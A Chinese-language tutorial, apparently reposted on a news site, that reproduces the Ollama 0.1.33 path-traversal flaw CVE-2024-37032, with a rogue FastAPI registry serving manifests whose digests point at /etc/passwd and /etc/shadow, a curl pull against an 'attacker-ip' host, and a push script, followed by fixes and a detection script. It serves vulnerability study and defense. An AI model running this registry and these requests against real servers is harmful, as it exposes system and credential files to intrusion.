当前位置：首页 > news >正文

手把手复现Ollama 0.1.33的RCE漏洞（CVE-2024-37032），从Docker搭建到PoC利用

news 2026/5/11 20:21:24

深入剖析Ollama 0.1.33路径遍历漏洞（CVE-2024-37032）的实战复现指南

在本地运行大型语言模型已成为当前AI应用开发的热点需求，Ollama作为一款轻量级工具链，因其开箱即用的特性备受开发者青睐。然而近期披露的CVE-2024-37032漏洞暴露了其早期版本存在的严重安全缺陷——攻击者可通过精心构造的模型清单文件实现任意文件读写。本文将带领读者从零搭建漏洞环境，逐步拆解漏洞原理，最终完成完整的漏洞利用链复现。

1. 漏洞环境构建

1.1 准备实验环境

建议使用隔离的Linux虚拟机或云服务器进行测试，确保主机系统不受影响。实验所需基础组件包括：

Docker Engine 20.10+
Python 3.8+环境
至少4GB可用内存

# 验证Docker环境 docker --version # 输出示例：Docker version 24.0.5, build ced0996

1.2 部署漏洞版本Ollama

Ollama 0.1.33的官方镜像仍可在Docker Hub获取，但需注意该版本已标记为不安全：

docker pull ollama/ollama:0.1.33 docker run -d \ -v ollama_data:/root/.ollama \ -p 11434:11434 \ --name vulnerable_ollama \ ollama/ollama:0.1.33

验证服务是否正常启动：

curl http://localhost:11434/api/tags # 正常应返回空列表：{"models":[]}

2. 漏洞原理深度解析

2.1 清单文件处理机制缺陷

Ollama的模型分发采用类似Docker Registry的manifest v2格式，关键漏洞点在于digest字段的路径校验逻辑。正常情况下的模型清单结构应包含：

{ "schemaVersion": 2, "config": { "digest": "sha256:abc123...", "size": 1024 }, "layers": [ { "digest": "sha256:def456...", "size": 2048 } ] }

漏洞版本未对digest值进行规范化处理，导致攻击者可以注入包含路径遍历序列（如../../../../etc/passwd）的恶意值。

2.2 请求处理流程缺陷

当Ollama处理/api/pull请求时，其内部工作流程存在以下问题：

未验证远程registry的可信度（即使insecure=false）
直接使用manifest中的digest值拼接本地文件路径
缺少对写入位置的权限检查

3. 漏洞利用实战

3.1 搭建恶意Registry

使用Python FastAPI快速搭建伪装的模型仓库：

from fastapi import FastAPI, Request, Response app = FastAPI() @app.get("/v2/rogue/model/manifests/latest") async def malicious_manifest(): return { "config": { "digest": "../../../../../../etc/passwd", "size": 10 }, "layers": [ { "digest": "../../../../../../etc/shadow", "size": 10 } ] }

启动服务：

uvicorn exploit_server:app --host 0.0.0.0 --port 8000

3.2 触发文件读取

构造特殊的pull请求触发漏洞：

curl -X POST http://localhost:11434/api/pull \ -H "Content-Type: application/json" \ -d '{"name":"attacker-ip:8000/rogue/model","insecure":true}'

此时观察Ollama容器的日志，可以看到其尝试访问系统敏感文件：

docker logs vulnerable_ollama # 将显示文件访问错误日志

3.3 利用链增强

通过组合push和pull操作，可以实现更复杂的攻击场景：

先push精心构造的模型到漏洞主机
再pull该模型触发二次漏洞利用
最终实现持久化后门植入

# 恶意模型push脚本示例 import requests headers = {'Content-Type': 'application/json'} data = {'name': 'localhost:11434/evil/model', 'insecure': True} response = requests.post('http://localhost:11434/api/push', json=data, headers=headers) print(response.text)

4. 防御与修复方案

4.1 官方修复措施

Ollama在0.1.34版本中实施了多重防护：

严格校验digest格式（必须符合SHA256哈希格式）
规范化所有文件路径访问
增加registry白名单机制

升级命令：

docker pull ollama/ollama:latest docker stop vulnerable_ollama docker rm vulnerable_ollama # 重新启动新版本容器

4.2 临时缓解方案

若无法立即升级，可采取以下措施：

限制Ollama服务的网络访问
启用SELinux/AppArmor等强制访问控制
定期审计/root/.ollama目录下的文件变更

# 使用inotify监控关键目录 sudo apt install inotify-tools inotifywait -m -r /root/.ollama

5. 漏洞研究进阶方向

对于希望深入研究的读者，建议探索以下方向：

漏洞变种挖掘：
- 测试其他API端点的路径处理逻辑
- 尝试不同编码方式的路径遍历payload
影响范围评估：
- 分析Windows平台下的利用差异
- 研究容器逃逸的可能性
检测方案开发：
- 编写YARA规则检测恶意模型文件
- 开发实时监控插件

# 简易模型文件检测脚本 import json def check_manifest_safety(manifest_path): with open(manifest_path) as f: data = json.load(f) dangerous_patterns = ['../', '~/', '/etc/', '/root/'] manifest_str = json.dumps(data) return not any(pattern in manifest_str for pattern in dangerous_patterns)

在实际测试环境中，建议使用虚拟机快照功能保存各个阶段的系统状态，便于反复验证不同攻击场景。同时务必注意所有实验都应在授权环境下进行，避免对生产系统造成影响。

查看全文

http://www.jsqmd.com/news/518236/